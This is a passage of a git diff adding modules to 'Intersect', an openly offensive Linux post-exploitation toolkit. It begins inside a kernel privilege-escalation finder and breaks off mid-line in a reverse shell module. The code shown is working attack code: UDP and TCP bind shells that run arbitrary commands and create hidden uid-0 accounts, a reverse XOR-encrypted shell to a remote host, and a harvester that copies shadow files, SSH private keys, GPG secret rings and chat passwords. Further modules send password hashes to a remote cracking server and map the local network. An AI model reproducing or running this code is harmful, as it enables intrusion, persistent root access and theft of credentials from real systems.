split_version[2] = "0%s" % split_version[2] + version = ".".join(v for v in split_version) + + return version + + +def privesc(): + # Shout out to Bernardo Damele for letting me use this code! Thanks again! + # Check out his blog at http://bernardodamele.blogspot.com + + kernel_version_string = os.popen('uname -r').read().strip() + + exploitdb_url = "http://www.exploit-db.com/exploits" + enlightenment_url = "http://www.grsecurity.net/~spender/enlightenment.tgz" + + status_msg("[+] Results for local kernel version %s" % kernel_version_string) + + kernel_parts = kernel_version_string.split("-") + kernel_version = fix_version(kernel_parts[0]) + + found_exploit = False + exploits = { + "do_brk": { "CVE": "2003-0961", "versions": ("2.4.0-2.4.22",), "exploits": (131,) }, + "mremap missing do_munmap": { "CVE": "2004-0077", "versions": ("2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"), "exploits": (160,) }, + "binfmt_elf Executable File Read": { "CVE": "2004-1073", "versions": ("2.4.0-2.4.27", "2.6.0-2.6.8"), "exploits": (624,) }, + "uselib()": { "CVE": "2004-1235", "versions": ("2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"), "exploits": (895,) }, + "bluez": { "CVE": "2005-1294", "versions": ("2.6.0-2.6.11.5",), "exploits": (4756, 926) }, + "prctl()": { "CVE": "2006-2451", "versions": ("2.6.13-2.6.17.4",), "exploits": (2031, 2006, 2011, 2005, 2004) }, + "proc": { "CVE": "2006-3626", "versions": ("2.6.0-2.6.17.4",), "exploits": (2013,) }, + "system call emulation": { "CVE": "2007-4573", "versions": ("2.4.0-2.4.30", "2.6.0-2.6.22.7",), "exploits": (4460,) }, + "vmsplice": { "CVE": "2008-0009", "versions": ("2.6.17-2.6.24.1",), "exploits": (5092, 5093) }, + "ftruncate()/open()": { "CVE": "2008-4210", "versions": ("2.6.0-2.6.22",), "exploits": (6851,) }, + "eCryptfs (Paokara)": { "CVE": "2009-0269", "versions": ("2.6.19-2.6.31.1",), "exploits": (enlightenment_url,) }, + "set_selection() UTF-8 Off By One": { "CVE": "2009-1046", "versions": ("2.6.0-2.6.28.3",), "exploits": (9083,) }, + "UDEV < 141": { "CVE": "2009-1185", "versions": ("2.6.25-2.6.30",), "exploits": (8478, 8572) }, + "exit_notify()": { "CVE": "2009-1337", "versions": ("2.6.0-2.6.29",), "exploits": (8369,) }, + "ptrace_attach() Local Root Race Condition": { "CVE": "2009-1527", "versions": ("2.6.29",), "exploits": (8678, 8673) }, + "sock_sendpage() (Wunderbar Emporium)": { "CVE": "2009-2692", "versions": ("2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"), "exploits": (9641, 9545, 9479, 9436, 9435, enlightenment_url) }, + "udp_sendmsg() (The Rebel)": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9.2",), "exploits": (9575, 9574, enlightenment_url) }, + "(32bit) ip_append_data() ring0": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9",), "exploits": (9542,) }, + "perf_counter_open() (Powerglove and Ingo m0wnar)": { "CVE": "2009-3234", "versions": ("2.6.31",), "exploits": (enlightenment_url,) }, + "pipe.c (MooseCox)": { "CVE": "2009-3547", "versions": ("2.6.0-2.6.32rc5", "2.4.0-2.4.37"), "exploits": (10018, enlightenment_url) }, + "CPL 0": { "CVE": "2010-0298", "versions": ("2.6.0-2.6.11",), "exploits": (1397,) }, + "ReiserFS xattr": { "CVE": "2010-1146", "versions": ("2.6.0-2.6.34rc3",), "exploits": (12130,) }, + "Unknown": { "CVE": None, "versions": ("2.6.18-2.6.20",), "exploits": (10613,) }, + "SELinux/RHEL5 (Cheddar Bay)": { "CVE": None, "versions": ("2.6.9-2.6.30",), "exploits": (9208, 9191, enlightenment_url) }, + "compat": { "CVE": "2010-3301", "versions": ("2.6.27-2.6.36rc4",), "exploits": (15023, 15024) }, + "BCM": { "CVE": "2010-2959", "versions": ("2.6.0-2.6.36rc1",), "exploits": (14814,) }, + "RDS protocol": { "CVE": "2010-3904", "versions": ("2.6.0-2.6.36rc8",), "exploits": (15285,) }, + "put_user() - full-nelson": { "CVE": "2010-4258", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "sock_no_sendpage() - full-nelson": { "CVE": "2010-3849", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "ACPI custom_method": { "CVE": "2010-4347", "versions": ("2.6.0-2.6.37rc2",), "exploits": (15774,) }, + "CAP_SYS_ADMIN": { "CVE": "2010-4347", "versions": ("2.6.34-2.6.37",), "exploits": (15916, 15944) }, + "econet_sendmsg() - half-nelson": { "CVE": "2010-3848", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787,) }, + "ec_dev_ioctl() - half-nelson": { "CVE": "2010-3850", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787, 15704) }, + "ipc - half-nelson": { "CVE": "2010-4073", "versions": ("2.6.0-2.6.37rc1",), "exploits": (17787,) }, + } + + log_msg("Executed 'privesc' module") + + status_msg("Possible exploits: ") + + for name, data in exploits.items(): + versions = data["versions"] + + for version_tree in versions: + if "-" in version_tree: + min_version, max_version = version_tree.split("-") + else: + min_version, max_version = version_tree, version_tree + + if kernel_version >= fix_version(min_version) and kernel_version <= fix_version(max_version): + cve = data["CVE"] + exploits = data["exploits"] + found_exploit = True + + status_msg("\n* Linux Kernel %s Local Root Exploit\n CVE: CVE-%s\n Affected Kernels: %s-%s\n Exploits:\n%s" % (name, cve, min_version, max_version, "\n".join(" %s/%d" % (exploitdb_url, expl) if isinstance(expl, int) else " %s" % expl for expl in exploits))) + + if found_exploit: + print + + if len(kernel_parts) > 1: + print "WARNING: %s appears to be a modified version of kernel %s." % (kernel_version_string, kernel_version) + print "These exploits can *possibly* get you to uid=0, but this script does *not* consider patched or backported kernel version\n" + + diff --git a/Intersect-2.5/src/Modules/local/Custom/sniff b/Intersect-2.5/src/Modules/local/Custom/sniff new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/src/Modules/local/Custom/udpbind b/Intersect-2.5/src/Modules/local/Custom/udpbind new file mode 100644 index 0000000..e03f612 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/udpbind @@ -0,0 +1,68 @@ + +def udpbind(): + ''' + @description: starts a UDP bind shell on port 21541. interactive shell access with additional Intersect commands. use the UDP-Client in Shell/ to connect. + @author: ohdae [bindshell@live.com] + @short: UDP bind shell + ''' + + host = "127.0.0.1" + port = 21541 + buf = 1024 + addr = (host,port) + +# Create socket and bind to address + UDPSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + UDPSock.bind(addr) + log_msg("\n\n [ UDP Bindshell module executed ]") + log_msg("\n Start Time: %s" % logtime) + + while 1: + data,addr = UDPSock.recvfrom(buf) + proc = Popen(data, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if data == ":killme": + (UDPSock.sendto("[!] Closing connection!", addr)) + UDPSock.close() + sys.exit(0) + + elif data.startswith("cd"): + destination = data[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + else: + (UDPSock.sendto("[!] Directory does not exist", addr)) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + + elif data.startswith(":addroot"): + strip = data.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + (UDPSock.sendto("[+] Root account " + acct + " has been created.", addr)) + + elif data.startswith(":temp"): + os.system("cd %s" % Temp_Dir) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + + elif data == ":mods": + (UDPSock.sendto("[+] Currently loaded modules:\n %s " % (modList, addr))) + + elif data.startswith(":exec"): + pass + + elif data.startswith(":reboot"): + (UDPSock.sendto("[+] System going down for reboot!", addr)) + os.system("shutdown -h now") + + elif proc: + (UDPSock.sendto(stdout,addr)) + + + UDPSock.close() diff --git a/Intersect-2.5/src/Modules/local/Custom/webproxy b/Intersect-2.5/src/Modules/local/Custom/webproxy new file mode 100644 index 0000000..aee1832 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/webproxy @@ -0,0 +1,18 @@ + +class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler): + + def do_GET(self): + self.copyfile(urllib2.urlopen(self.path), self.wfile) + +def httproxy(): + ''' + @description: Starts a basic HTTP proxy on the target system. + @author: ohdae [bindshell@live.com] + @short: http proxy + ''' + httpd = SocketServer.ForkingTCPServer(('', PPORT), Proxy) + print("[+] Serving HTTP proxy on port %s" % PPORT) + log_msg("\n\n [ HTTP Proxy module executed ]") + log_msg("\n Start Time: %s" % logtime) + + httpd.serve_forever() diff --git a/Intersect-2.5/src/Modules/local/Custom/xmlcrack b/Intersect-2.5/src/Modules/local/Custom/xmlcrack new file mode 100644 index 0000000..2da3744 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/xmlcrack @@ -0,0 +1,55 @@ + +def xmlcrack(): + ''' + @description: Sends hash list to remote XMLRPC server for cracking. Crackserver.py must be running on the remote host. + @author: original code by Stephen Haywood aka averagesecurityguy + @short: xmlrpc crack client (-x filename hashtype) + ''' + if len(sys.argv) <=3: + print("[!] Must specify a filename and hashtype!") + sys.exit() + + import time + try: + import xmlrpclib + except ImportError: + print("[!] Python library XMLRPC is not installed!") + sys.exit(0) + + data = [] + filename = sys.argv[2] + hashtype = sys.argv[3] + + try: + #Open the hash file and convert it to an array before sending it in the + #XMLRPC request. + file = open(filename, 'rb') + for line in file: + data.append(line.rstrip('\r\n')) + file.close() + except Exception, err: + print "Error opening file " + filename + ": " + str(err) + + # Open connection to xmlrpc server + server = ("http://"+RHOST+":"+str(RPORT)) + try: + s = xmlrpclib.ServerProxy(server) + except: + print "Error opening connection to server " + server + ": " + str(err) + + # Send request to server and receive ID + id, msg = s.crack(data, hashtype) + + if id == 0: + print msg + else: + # Poll server for completion status and results using ID. + complete = False + wait = 10 + while True: + time.sleep(wait) + complete, results = s.results(id) + if results != []: + for r in results: + print r.rstrip('\r\n') + if complete: break diff --git a/Intersect-2.5/src/Modules/local/Custom/xmpp b/Intersect-2.5/src/Modules/local/Custom/xmpp new file mode 100644 index 0000000..2c64f6c --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/xmpp @@ -0,0 +1,2 @@ + +# Module coming soon. Starts an XMPP server/shell on the target system. diff --git a/Intersect-2.5/src/Modules/local/Standard/archive b/Intersect-2.5/src/Modules/local/Standard/archive new file mode 100644 index 0000000..a2cf1db --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/archive @@ -0,0 +1,16 @@ + +def archive(): + ''' + @description: Creates a tar archive of any files located within the Intersect sessions temporary directory + @short: create tar archive of sessions temp directory + @author: ohdae [bindshell@live.com] + ''' + log_msg("\n Start Time: %s" % logtime) + + os.chdir(Temp_Dir) + temp_files = os.listdir(Temp_Dir) + tarlist("reports", temp_files) + + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/bshell b/Intersect-2.5/src/Modules/local/Standard/bshell new file mode 100644 index 0000000..66a810d --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/bshell @@ -0,0 +1,114 @@ + +def bshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + log_msg("[ Bindshell module executed ]") + server.bind((HOST, PORT)) + server.listen(5) + except: + print "[!] Connection closed." + sys.exit(2) + + while 1: + conn, addr = server.accept() + log_msg("New shell connection") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + reaper() + childPid = os.fork() + if childPid == 0: + tcphandle(conn) + else: + shellPID.append(childPid) + + +def tcphandle(conn): + time.sleep(3) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith(":reboot"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == (":mods"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(":exec"): + pass + #getname = cmd.split(" ") + #mod = getname[1] + #if mod in modList: + # mod = mod+"()" + # exec mod + #else: + # conn.send("Module not loaded!") + + elif cmd == (':killme'): + sys.exit(0) + + elif cmd == (':quit'): + conn.send("[!] Closing shell connection!\n") + conn.close() + os._exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/creds b/Intersect-2.5/src/Modules/local/Standard/creds new file mode 100644 index 0000000..7f19c89 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/creds @@ -0,0 +1,86 @@ + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + log_msg("\n\n [ Credentials Module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + users() + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + log_msg("\n ACTION: passwd, shadow, lastlog and mail aliases collected.") + + if currentuser == "root": + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("ls /home/%s/.ssh/* > ssh_contents.txt" % user) + else: + os.system("ls %s/.ssh/* > ssh_contents.txt" % Home_Dir) + + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + for files in sshfiles: + if os.path.exists(files) is True: + os.system("rm %s" % files) + + for user in userlist: + if os.path.exists("/home/%s/.bash_history" % user) is True: + os.system("cat /home/%s/.bash_history | grep ssh > %s-SSH-History.txt" % (user, user)) + if currentuser == "root": + if os.path.exists("%s/.bash_history" % Home_Dir) is True: + os.system("cat %s/.bash_history | grep ssh > Root-SSH-History.txt" % Home_Dir) + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + + for x in credentials: + copy2temp(x, "credentials") + + + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/%s/.purple/accounts.xml" % user) is True: + accts = open("/home/%s/.purple/accounts.xml" % user) + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/%s/.irssi/config" % user) is True: + accts = open("/home/%s/.irssi/config" % user) + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/%s/.znc/configs/znc.conf" % user) + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/daemon b/Intersect-2.5/src/Modules/local/Standard/daemon new file mode 100644 index 0000000..44486a4 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/daemon @@ -0,0 +1,41 @@ + +def daemon(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): + ''' + @description: Daemonize an Intersect script. When executed you'll be given the PID to monitor or kill the task if needed + @author: ohdae [bindshell@live.com] + @short: run as background process + ''' + + log_msg("\n\n [ Executed as Daemon ]") + log_msg("\n Start Time: %s" % logtime) + + try: + pid = os.fork() + if pid > 0: + sys.exit(0) + except OSError, e: + print >>sys.stderr, "fork one failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + os.chdir("/") + os.setsid() + os.umask(0) + + try: + pid = os.fork() + if pid > 0: + print "[+] Daemon PID %d" % pid + sys.exit(0) + except OSError, e: + print("[!] Intersect will now run in the background. Check %s for your reports." % Temp_Dir) + print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + si = file(stdin, 'r') + so = file(stdout, 'a+') + se = file(stderr, 'a+', 0) + os.dup2(si.fileno(), sys.stdin.fileno()) + os.dup2(so.fileno(), sys.stdout.fileno()) + os.dup2(se.fileno(), sys.stderr.fileno()) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/extras b/Intersect-2.5/src/Modules/local/Standard/extras new file mode 100644 index 0000000..fded01f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/extras @@ -0,0 +1,56 @@ + +def extras(): + ''' + @description: Searches for system, service and app configurations. Also tries to locate certain installed apps and protection measures. + @author: ohdae [bindshell@live.com] + @short: finds configs, security measures and misc apps + ''' + log_msg("\n\n [ Extras Module ]") + log_msg("\n Start Time: %s" % logtime) + + maketemp("extras") + protectiondir = (Temp_Dir+"/extras") + os.chdir(protectiondir) + maketemp("configs") + users() + + + configs = [ "/etc/snort/snort.conf", "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", + "/etc/bitlbee/bitlbee.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", + "/etc/security/access.conf", "/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/apt/secring.gpg", + "/etc/apt/trusted.gpg", "/etc/nginx/nginx.conf", "/etc/shells", "/etc/gated.conf", "/etc/inetd.conf", "/etc/rpc", + "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf" + "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/ldap.conf", "/opt/lampp/etc/httpd.conf", "/etc/cups/cups.conf", + "/etc/exports", "/etc/fstab", "~/.msf4/history", "/etc/ssl/openssl.cnf" ] + + + for x in configs: + copy2temp(x, "configs") + + print("[+] Searching for protection and misc extras....") + program = [ "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", + "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", + "rkhunter", "perl", "tcpdump", "nc", "webmin", "python", "gcc", "jailkit", + "pwgen", "proxychains", "bastille", "wireshark", "nagios", "nmap", "firefox", + "nagios", "tor", "openvpn", "virtualbox", "magictree", "apparmor", "git", + "xen", "svn", "redmine", "ldap", "msfconsole" ] + + for x in program: + location = whereis(x) + if location is not None: + text = location + '\n' + writenew("FullList.txt", text) + + + if currentuser == "root": + for user in userlist: + if os.path.exists("/home/%s/.msf4/" % user) is True: + os.system("ls -l /home/%s/.msf/loot > MSFLoot-%s.txt" % (user, user)) + if os.path.exists("/root/.msf4/") is True: + os.system("ls -l /root/.msf4/loot > MSFLoot-root.txt") + else: + if os.path.exists("%s/.msf4" % Home_Dir) is True: + os.system("ls -l %s/.msf4/loot > MSFLoot.txt" % Home_Dir) + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/lanmap b/Intersect-2.5/src/Modules/local/Standard/lanmap new file mode 100644 index 0000000..9b1bc26 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/lanmap @@ -0,0 +1,45 @@ + +def lanmap(): + ''' + @description: uses Scapy to enumerate live hosts and gather IP addresses + @author: ohdae [bindshell@live.com] + @short: find live hosts on LAN + ''' + log_msg("\n\n [ LANMap Module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Searching for live hosts...") + maketemp("hosts") + os.chdir(Temp_Dir+"/hosts") + + try: + localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] + except OSError: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + else: + pass + ipBin = reduce(lambda x, y: (int(x) << 8)+int(y), localIP.split('.')) + #route = [ network_addr, netmask, gateway, interface, address ] + for route in scapy.all.conf.route.routes: + if (route[4] == localIP #If it's the address we're talking to + and route[0] != 0 #and it's not the route to the gateway itself + and route[0] == (route[1] & ipBin)): #And localIP is in this subnet (fixes 169.254/16 oddness) + #Calculate the CIDR from the base-2 logarithm of the netmask + IPRange = '/'.join((localIP, str(int(32-log(0xffffffff-route[1]+1,2))))) + + conf.verb=0 + ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=IPRange),timeout=2) + write2file("livehosts.txt", "LAN IP Range: " + IPRange +"\n") + for snd,rcv in ans: + mac_address=rcv.sprintf("%Ether.src%") + ip_address=rcv.sprintf("%ARP.psrc%") + write2file("livehosts.txt", "\n[+] Live Host\nIP: "+ip_address + " MAC"+ mac_address + "\n") + + externalIP = urllib2.urlopen("http://myip.ozymo.com/").read() + results = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange +"\n") + writenew("external.txt", results) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/network b/Intersect-2.5/src/Modules/local/Standard/network new file mode 100644 index 0000000..735f574 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/network @@ -0,0 +1,67 @@ + +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + log_msg("\n\n [ Network Module ]") + log_msg("\n Start Time: %s" % logtime) + + + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if currentuser == "root" and whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + log_msg("\n IPTables information saved.") + else: + pass + + os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/osuser b/Intersect-2.5/src/Modules/local/Standard/osuser new file mode 100644 index 0000000..b69d330 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/osuser @@ -0,0 +1,92 @@ + +def osuser(): + ''' + @description: Enumerate Linux distro, kernel, installed apps and services, printers, cronjobs, user lists and history files, CPU and memory info, etc. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system information + ''' + log_msg("\n\n [ OS & User module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Collecting operating system and user information....") + maketemp("osinfo") + os.chdir(Temp_Dir+"/osinfo/") + + proc = Popen('ps aux', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + for items in output: + writenew("ps_aux.txt", items) + + os.system("ls -alh /usr/bin > bin.txt") + os.system("ls -alh /usr/sbin > sbin.txt") + os.system("ls -al /etc/cron* > cronjobs.txt") + os.system("ls -alhtr /media > media.txt") + os.system("/usr/bin/lpstat -v > printers.txt") + + log_msg("\n Listings of sbin, bin, cronjobs, printers, media, ps aux") + + if distro == "ubuntu" or distro2 == "Ubuntu": + os.system("dpkg -l > dpkg_list.txt") + elif distro == "arch" or distro2 == "Arch": + os.system("pacman -Q > pacman_list.txt") + elif distro == "slackware" or distro2 == "Slackware": + os.system("ls /var/log/packages > packages_list.txt") + elif distro == "gentoo" or distro2 == "Gentoo": + os.system("cat /var/lib/portage/world > packages.txt") + elif distro == "centos" or distro2 == "CentOS": + os.system("yum list installed > yum_list.txt") + elif distro == "red hat" or distro2 == "Red Hat": + os.system("rpm -qa > rpm_list.txt") + else: + pass + + if distro == "arch": + os.system("egrep '^DAEMONS' /etc/rc.conf > services_list.txt") + elif distro == "slackware": + os.system("ls -F /etc/rc.d | grep \'*$\' > services_list.txt") + elif whereis('chkconfig') is not None: + os.system("chkconfig -A > services_list.txt") + + log_msg("\n Listings of installed packages, list of installed services.") + + os.system("mount -l > mount.txt") + os.system("cat /etc/sysctl.conf > sysctl.txt") + os.system("uname -a > distro_kernel.txt") + os.system("df -hT > filesystem.txt") + os.system("free -lt > memory.txt") + os.system("cat /proc/cpuinfo > cpuinfo.txt") + os.system("cat /proc/meminfo > meminfo.txt") + copy2temp(Home_Dir+"/.bash_history") + copy2temp(Home_Dir+"/.viminfo") + copy2temp(Home_Dir+"/.mysql_history") + + log_msg("\n Collected: mount, sysctl, uname, diskspace, memory/cpu info..") + + if currentuser == "root": + os.system("find /var/log -type f -exec ls -la {} \; > loglist.txt") + os.system("locate sql | grep [.]sql$ > SQL_locations.txt") + os.system("find /home -type f -iname '.*history' > HistoryList.txt") + + log_msg("\n Enumeration of history files, SQL locations and log lists.") + + + sysfiles = ["distro_kernel.txt","filesystem.txt","memory.txt","cpuinfo.txt","meminfo.txt"] + combinefiles("SysInfo.txt", sysfiles) + + maketemp("osinfo/users") + os.chdir("users/") + + os.system("ls -alhR ~/ > CurrentUser.txt") + + if currentuser == "root": + os.system("ls -alhR /home > AllUsers.txt") + + if os.path.exists(Home_Dir+"/.mozilla/") is True: + os.system("find "+Home_Dir+"/.mozilla -name bookmarks*.json > UsersBookmarks.txt") + + log_msg("\n Listings of home user directories, Mozilla bookmarks and history..") + + diff --git a/Intersect-2.5/src/Modules/local/Standard/reversexor b/Intersect-2.5/src/Modules/local/Standard/reversexor new file mode 100644 index 0000000..62766b8 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/reversexor @@ -0,0 +1,110 @@ + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith(':upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not 